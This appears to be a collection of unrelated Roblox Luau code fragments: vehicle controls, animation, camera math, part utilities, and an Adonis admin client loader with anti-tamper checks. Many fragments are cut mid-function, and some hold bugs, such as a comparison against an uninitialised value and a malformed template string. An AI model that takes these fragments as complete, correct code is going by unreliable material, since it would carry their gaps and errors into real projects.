script.Parent.Values.Velocity.Value = car.DriveSeat.Velocity
end)
-- ~15 c/s
while wait(.0667) do
--Power
Engine()
--Flip
if _Tune.AutoFlip then Flip() end
if Stats.Fuel == 0 then _IsOn = false end
end
|
-- Helper function for Determinant of 3x3, not in CameraUtils for performance reasons |
local function Det3x3(a: number,b: number,c: number,d: number,e: number,f: number,g: number,h: number,i: number): number
return (a*(e*i-f*h)-b*(d*i-f*g)+c*(d*h-e*g))
end
|
--function moveSit()
-- RightShoulder.MaxVelocity = 0.15
-- LeftShoulder.MaxVelocity = 0.15
-- RightShoulder:SetDesiredAngle(3.14 /2)
-- LeftShoulder:SetDesiredAngle(-3.14 /2)
-- RightHip:SetDesiredAngle(3.14 /2)
-- LeftHip:SetDesiredAngle(-3.14 /2)
--end |
local lastTick = 0
function move(time)
local amplitude = 1
local frequency = 1
local deltaTime = time - lastTick
lastTick = time
local climbFudge = 0
local setAngles = false
if (jumpAnimTime > 0) then
jumpAnimTime = jumpAnimTime - deltaTime
end
if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif (pose == "Seated") then
playAnimation("sit", 0.5, Humanoid)
return
elseif (pose == "Running") then
playAnimation("walk", 0.1, Humanoid)
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then |
--[==[Documentation uses
excess information container (titles: tip, warning, info):
:::title
Information here.
:::
code example container:
```lua
```
symbol @ examples:
@interface Name
.Variable objectType
.functionName () -> ()
@return a, b, ... or DataType | DataType | ... or Class<DataType | DataType | ...>
@param a, b, ...
Extra Information:
Why do you see people doing [=[]=] for comments?
Answer: preference
Naming:
* camelCase unless it is from an API
* CAPATAL_SNAKECASE for constant data (exclude outer objects (Instance, Required module))
Types:
* Avoid using `any` type, instead use `unknown`
* `never` is for points in code that will "never" be reached (You will not come across this ever)
]==] | |
--^^^ Made by Anaminus ^^^--- |
function module.getSide(p,s)
local cf = p.CFrame
if s.x > 0 then
return (cf*CFrame.fromAxisAngle(Vector3.new(0,-1,0),math.pi/2)).lookVector
elseif s.x < 0 then
return (cf*CFrame.fromAxisAngle(Vector3.new(0,1,0),math.pi/2)).lookVector
end
if s.y < 0 then
return (cf*CFrame.fromAxisAngle(Vector3.new(-1,0,0),math.pi/2)).lookVector
elseif s.y > 0 then
return (cf*CFrame.fromAxisAngle(Vector3.new(1,0,0),math.pi/2)).lookVector
end
if s.z < 0 then
return cf.lookVector
elseif s.z > 0 then
return -cf.lookVector
end
end
function module.debounce(func)
local debounce = false
return function(...)
if not debounce then
debounce = true
func(...)
debounce = false
end
end
end
function module.part(p)
local parts = {}
local function getParts(m)
for _,v in pairs(m:GetChildren()) do
if v:IsA("Part") and v ~= p then
table.insert(parts,#parts+1,v)
elseif v:IsA("Model") then
getParts(v)
end
end
end
getParts(game.Workspace)
local winner = {}
for _,q in pairs(parts) do
local mag = (q.Position-p.Position).magnitude
if mag < winner[1] then
winner[1] = mag
winner[2] = q
end
end
return winner[2]
end
function module.weld(p1,p2)
local w = Instance.new("Weld")
w.Part0 = p1
w.Part1 = p2
w.C0 = p1.CFrame:inverse() * p2.CFrame
w.Parent = p1
return w
end
function module.gpos(part,pos,ignore,dist)
if dist == 0 then dist = 999 end
local r = Ray.new(part.Position,(pos-part.Position).unit*dist)
return workspace:FindPartOnRayWithIgnoreList(r,ignore)
end
function module.volume(m)
return m.Size.x * m.Size.y * m.Size.z
end
function module.visualizeRay(origin,pos,laser)
laser.Size = Vector3.new(laser.Size.x,laser.Size.y,(pos - origin).magnitude)
laser.CFrame = CFrame.new((origin + pos)/Vector3.new(2,2,2),pos)
end
function module.getModelVolume(model)
if model == nil then return 0 end
local mass = 0
local function getModelMass(m)
for i,v in pairs(m:GetChildren()) do
if v:IsA("BasePart") then
mass = mass + module.volume(v)
elseif v:IsA("Model") then
getModelMass(v)
end
end
end
getModelMass(model)
return mass
end
return module
|
-- Ritter's loose bounding sphere algorithm |
function CameraUtils.getLooseBoundingSphere(parts)
local points = table.create(#parts)
for idx, part in pairs(parts) do
points[idx] = part.Position
end
-- pick an arbitrary starting point
local x = points[1]
-- get y, the point furthest from x
local y = x
local yDist = 0
for _, p in ipairs(points) do
local pDist = (p - x).Magnitude
if pDist > yDist then
y = p
yDist = pDist
end
end
-- get z, the point furthest from y
local z = y
local zDist = 0
for _, p in ipairs(points) do
local pDist = (p - y).Magnitude
if pDist > zDist then
z = p
zDist = pDist
end
end
-- use (y, z) as the initial bounding sphere
local sc = (y + z)*0.5
local sr = (y - z).Magnitude*0.5
-- expand sphere to fit any outlying points
for _, p in ipairs(points) do
local pDist = (p - sc).Magnitude
if pDist > sr then
-- shift to midpoint
sc = sc + (pDist - sr)*0.5*(p - sc).Unit
-- expand
sr = (pDist + sr)*0.5
end
end
return sc, sr
end
|
--!strict
-- RandomChance
-- Yuuwa0519
-- 2022-03-20 | |
--[[Controls]] |
local _CTRL = _Tune.Controls
local Controls = Instance.new("Folder",script.Parent)
Controls.Name = "Controls"
for i,v in pairs(_CTRL) do
local a=Instance.new("StringValue",Controls)
a.Name=i
a.Value=v.Name
a.Changed:connect(function()
if i=="MouseThrottle" or i=="MouseBrake" then
if a.Value == "MouseButton1" or a.Value == "MouseButton2" then
_CTRL[i]=Enum.UserInputType[a.Value]
else
_CTRL[i]=Enum.KeyCode[a.Value]
end
else
_CTRL[i]=Enum.KeyCode[a.Value]
end
end)
end
--Deadzone Adjust
local _PPH = _Tune.Peripherals
for i,v in pairs(_PPH) do
local a = Instance.new("IntValue",Controls)
a.Name = i
a.Value = v
a.Changed:connect(function()
a.Value=math.min(100,math.max(0,a.Value))
_PPH[i] = a.Value
end)
end
--Input Handler
function DealWithInput(input,IsRobloxFunction)
if (UserInputService:GetFocusedTextBox()==nil) and not _InControls then --Ignore when UI Focus
--Shift Down [Manual Transmission]
if _IsOn and (input.KeyCode ==_CTRL["ContlrShiftDown"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftDown"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftDown"])) and ((_TMode=="Auto" and _CGear<=1) or _TMode=="Semi" or (_TMode=="Manual" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then
if _CGear == 0 then _ClutchOn = true end
_CGear = math.max(_CGear-1,-1)
--Shift Up [Manual Transmission]
elseif _IsOn and (input.KeyCode ==_CTRL["ContlrShiftUp"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftUp"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftUp"])) and ((_TMode=="Auto" and _CGear<1) or _TMode=="Semi" or (_TMode=="Manual" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then
if _CGear == 0 then _ClutchOn = true end
_CGear = math.min(_CGear+1,#_Tune.Ratios-2)
--Toggle Clutch
elseif _IsOn and (input.KeyCode ==_CTRL["ContlrClutch"] or (_MSteer and input.KeyCode==_CTRL["MouseClutch"]) or ((not _MSteer) and input.KeyCode==_CTRL["Clutch"])) and _TMode=="Manual" then
if input.UserInputState == Enum.UserInputState.Begin then
_ClutchOn = false
_ClPressing = true
elseif input.UserInputState == Enum.UserInputState.End then
_ClutchOn = true
_ClPressing = false
end
--Toggle PBrake
elseif _IsOn and input.KeyCode ==_CTRL["ContlrPBrake"] or (_MSteer and input.KeyCode==_CTRL["MousePBrake"]) or ((not _MSteer) and input.KeyCode==_CTRL["PBrake"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_PBrake = not _PBrake
elseif input.UserInputState == Enum.UserInputState.End then
if car.DriveSeat.Velocity.Magnitude>5 then
_PBrake = false
end
end
--Toggle Transmission Mode
elseif (input.KeyCode == _CTRL["ContlrToggleTMode"] or input.KeyCode==_CTRL["ToggleTransMode"]) and input.UserInputState == Enum.UserInputState.Begin then
local n=1
for i,v in pairs(_Tune.TransModes) do
if v==_TMode then n=i break end
end
n=n+1
if n>#_Tune.TransModes then n=1 end
_TMode = _Tune.TransModes[n]
--Throttle
elseif _IsOn and ((not _MSteer) and (input.KeyCode==_CTRL["Throttle"] or input.KeyCode == _CTRL["Throttle2"])) or ((((_CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseThrottle"]) or input.KeyCode == _CTRL["MouseThrottle"])and _MSteer) then
if input.UserInputState == Enum.UserInputState.Begin then
_GThrot = 1
else
_GThrot = _Tune.IdleThrottle/100
end
--Brake
elseif ((not _MSteer) and (input.KeyCode==_CTRL["Brake"] or input.KeyCode == _CTRL["Brake2"])) or ((((_CTRL["MouseBrake"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseBrake"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseBrake"]) or input.KeyCode == _CTRL["MouseBrake"])and _MSteer) then
if input.UserInputState == Enum.UserInputState.Begin then
_GBrake = 1
else
_GBrake = 0
end
--Steer Left
elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerLeft"] or input.KeyCode == _CTRL["SteerLeft2"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_GSteerT = -1
_SteerL = true
else
if _SteerR then
_GSteerT = 1
else
_GSteerT = 0
end
_SteerL = false
end
--Steer Right
elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerRight"] or input.KeyCode == _CTRL["SteerRight2"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_GSteerT = 1
_SteerR = true
else
if _SteerL then
_GSteerT = -1
else
_GSteerT = 0
end
_SteerR = false
end
--Toggle Mouse Controls
elseif input.KeyCode ==_CTRL["ToggleMouseDrive"] then
if input.UserInputState == Enum.UserInputState.End then
_MSteer = not _MSteer
_GThrot = _Tune.IdleThrottle/100
_GBrake = 0
_GSteerT = 0
_ClutchOn = true
end
--Toggle TCS
elseif _Tune.TCSEnabled and _IsOn and input.KeyCode == _CTRL["ToggleTCS"] or input.KeyCode == _CTRL["ContlrToggleTCS"] then
if input.UserInputState == Enum.UserInputState.End then
if script.Parent.DriveMode.Value ~= "SportPlus" then
_TCS = not _TCS
end
end
--Toggle ABS
elseif _Tune. ABSEnabled and _IsOn and input.KeyCode == _CTRL["ToggleABS"] or input.KeyCode == _CTRL["ContlrToggleABS"] then
if input.UserInputState == Enum.UserInputState.End then
_ABS = not _ABS
end
end
--Variable Controls
if input.UserInputType.Name:find("Gamepad") then
--Gamepad Steering
if input.KeyCode == _CTRL["ContlrSteer"] then
if input.Position.X>= 0 then
local cDZone = math.min(.99,_Tune.Peripherals.ControlRDZone/100)
if math.abs(input.Position.X)>cDZone then
_GSteerT = (input.Position.X-cDZone)/(1-cDZone)
else
_GSteerT = 0
end
else
local cDZone = math.min(.99,_Tune.Peripherals.ControlLDZone/100)
if math.abs(input.Position.X)>cDZone then
_GSteerT = (input.Position.X+cDZone)/(1-cDZone)
else
_GSteerT = 0
end
end
--Gamepad Throttle
elseif _IsOn and input.KeyCode == _CTRL["ContlrThrottle"] then
_GThrot = math.max(_Tune.IdleThrottle/100,input.Position.Z)
--Gamepad Brake
elseif input.KeyCode == _CTRL["ContlrBrake"] then
_GBrake = input.Position.Z
end
end
else
_GThrot = _Tune.IdleThrottle/100
_GSteerT = 0
_GBrake = 0
if _CGear~=0 then _ClutchOn = true end
end
end
UserInputService.InputBegan:connect(DealWithInput)
UserInputService.InputChanged:connect(DealWithInput)
UserInputService.InputEnded:connect(DealWithInput)
local OGDrivemode
local Kickdown = false
UserInputService.InputBegan:Connect(function(key, focus)
if focus == false and not _InControls and script.Parent.DriveMode.Value == "Comfort" then
if key.KeyCode == _CTRL["Throttle2"] and _CGear > 0 then
if tick() - CurrKickdown <= _Tune.KickdownWindow then
--kickdown activated
OGDrivemode = script.Parent.DriveMode.Value
Kickdown = true
script.Parent.DriveMode.Value = "Sport+"
if _RPM <= _Tune.KickdownRPMCap then
_CGear = math.max(_CGear-1, 1)
end
end
CurrKickdown = tick()
end
end
end)
UserInputService.InputBegan:Connect(function(input, focus)
if focus == true then return end
if script.Parent.Values.Throttle.Value == 1 and input.UserInputType.Name:find("Gamepad") and _CGear > 0 then
--kickdown activated
OGDrivemode = script.Parent.DriveMode.Value
Kickdown = true
script.Parent.DriveMode.Value = "Sport+"
if _RPM <= _Tune.KickdownRPMCap then
_CGear = math.max(_CGear-1, 1)
end
end
end)
script.Parent.Values.Throttle.Changed:Connect(function()
if script.Parent.Values.Throttle.Value ~= 1 and Kickdown == true then
Kickdown = false
script.Parent.DriveMode.Value = OGDrivemode == nil and "Comfort" or OGDrivemode
end
end)
|
--------------------) Settings |
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 5 -- cooldown for use of the tool again
ZoneModelName = "Math" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage |
--loopanim |
function module.loopanim(anim, hum, bool)
local animationTrack = hum.Animator:LoadAnimation(animFold[anim])
animationTrack.Looped = bool
end
|
---- setup emote chat hook |
game:GetService("Players").LocalPlayer.Chatted:Connect(function(msg)
local emote = ""
if msg == "/e dance" then
emote = dances[Rand:NextInteger(1, #dances)]
elseif string.sub(msg, 1, 3) == "/e " then
emote = string.sub(msg, 4)
elseif string.sub(msg, 1, 7) == "/emote " then
emote = string.sub(msg, 8)
end
if pose == "Standing" and emoteNames[emote] ~= nil then
playAnimation(emote, 0.1, Humanoid)
end
end)
|
--// ACLI - Adonis Client Loading Initializer |
if true then return end --// #DISABLED
local DebugMode = false
local otime = os.time
local time = time
local game = game
local pcall = pcall
local xpcall = xpcall
local error = error
local type = type
local print = print
local assert = assert
local string = string
local setfenv = setfenv
local getfenv = getfenv
local require = require
local tostring = tostring
local coroutine = coroutine
local Instance = Instance
local script = script
local select = select
local unpack = unpack
local spawn = spawn
local debug = debug
local pairs = pairs
local wait = wait
local next = next
local time = time
local finderEvent
local realWarn = warn
local realPrint = print
local foundClient = false
local checkedChildren = {}
local replicated = game:GetService("ReplicatedFirst")
local runService = game:GetService("RunService")
local player = game:GetService("Players").LocalPlayer
local Kick = player.Kick
local start = time()
local checkThese = {}
local services = {
"Chat";
"Teams";
"Players";
"Workspace";
"LogService";
"TestService";
"InsertService";
"SoundService";
"StarterGui";
"StarterPack";
"StarterPlayer";
"ReplicatedFirst";
"ReplicatedStorage";
"JointsService";
"Lighting";
}
local function print(...)
--realPrint(...)
end
local function warn(str)
if DebugMode or player.UserId == 1237666 then
realWarn(`ACLI: {str}`)
end
end
local function Kill(info)
if DebugMode then warn(info) return end
pcall(function() Kick(player, info) end)
wait(1)
pcall(function() while not DebugMode and wait() do pcall(function() while true do end end) end end)
end
local function Locked(obj)
return (not obj and true) or not pcall(function() return obj.GetFullName(obj) end)
end
local function callCheck(child)
warn(`CallCheck: {child}`)
if Locked(child) then
warn("Child locked?")
Kill("ACLI: Locked")
else
warn("Child not locked")
xpcall(function()
return child[{}]
end, function()
if getfenv(1) ~= getfenv(2) then
Kill("ACLI: Error")
end
end)
end
end
local function doPcall(func, ...)
local ran,ret = pcall(func, ...)
if ran then
return ran,ret
else
warn(tostring(ret))
Kill(`ACLI: Error\n{ret}`)
return ran,ret
end
end
local function lockCheck(obj)
callCheck(obj)
obj.Changed:Connect(function(p)
warn("Child changed; Checking...")
callCheck(obj)
end)
end
local function loadingTime()
warn("LoadingTime Called")
setfenv(1,{})
warn(tostring(time() - start))
end
local function checkChild(child)
warn(`Checking child: child and child.ClassName} : {child and child:GetFullName()}`)
callCheck(child)
if child and not foundClient and not checkedChildren[child] and child:IsA("Folder") and child.Name == "Adonis_Client" then
warn("Loading Folder...")
local nameVal
local origName
local depsFolder
local clientModule
local oldChild = child
local container = child.Parent
warn("Adding child to checked list & setting parent...")
checkedChildren[child] = true
warn("Waiting for Client & Special")
nameVal = child:WaitForChild("Special", 30)
clientModule = child:WaitForChild("Client", 30)
warn("Checking Client & Special")
callCheck(nameVal)
callCheck(clientModule)
warn("Getting origName")
origName = (nameVal and nameVal.Value) or child.Name
warn(`Got name: {origName}`)
warn("Changing child parent...")
child.Parent = nil
warn("Destroying parent...")
if container and container:IsA("ScreenGui") and container.Name == "Adonis_Container" then
spawn(function()
wait(0.5);
container:Destroy();
end)
end
if clientModule and clientModule:IsA("ModuleScript") then
print("Debug: Loading the client?")
local meta = require(clientModule)
warn(`Got metatable: {meta}`)
if meta and type(meta) == "userdata" and tostring(meta) == "Adonis" then
local ran,ret = pcall(meta,{
Module = clientModule,
Start = start,
Loader = script,
Name = origName,
LoadingTime = loadingTime,
CallCheck = callCheck,
Kill = Kill
})
warn(`Got return: {ret}`)
if ret ~= "SUCCESS" then
warn(ret)
Kill("ACLI: Loading Error [Bad Module Return]")
else
print("Debug: The client was found and loaded?")
warn("Client Loaded")
oldChild:Destroy()
child.Parent = nil
foundClient = true
if finderEvent then
finderEvent:Disconnect()
finderEvent = nil
end
end
end
end
end
end
local function scan(folder)
warn("Scanning for client...")
if not doPcall(function()
for i,child in folder:GetChildren() do
if child.Name == "Adonis_Container" then
local client = child:FindFirstChildOfClass("Folder") or child:WaitForChild("Adonis_Client", 5);
if client then
doPcall(checkChild, client);
end
end
end
end) then warn("Scan failed?") Kick(player, "ACLI: Loading Error [Scan failed]"); end
end
|
--Show Avatar |
script.Parent.ChildRemoved:connect(function(child)
if child:IsA("Weld") then
if child.Part1.Name == "HumanoidRootPart" then
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
for i,v in pairs(child.Part1.Parent:GetChildren())do
if v:IsA("Part") then
v.Transparency=0
if v.Name=="HumanoidRootPart"then
v.Transparency=1
v.CanCollide=true
end
end
end
end
end
end)
|
-- Sevices |
local debris = game:GetService("Debris")
local players = game:GetService("Players")
|